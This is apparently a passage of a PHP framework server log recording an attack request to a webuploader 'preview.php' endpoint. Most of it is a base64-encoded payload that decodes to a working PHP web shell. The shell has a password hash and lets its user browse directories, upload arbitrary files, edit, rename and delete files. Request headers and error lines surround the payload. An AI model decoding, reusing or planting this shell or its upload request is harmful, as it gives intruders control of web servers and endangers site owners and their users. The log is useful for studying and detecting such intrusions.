QogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:18+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002793s] [吞吐率:358.06req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXV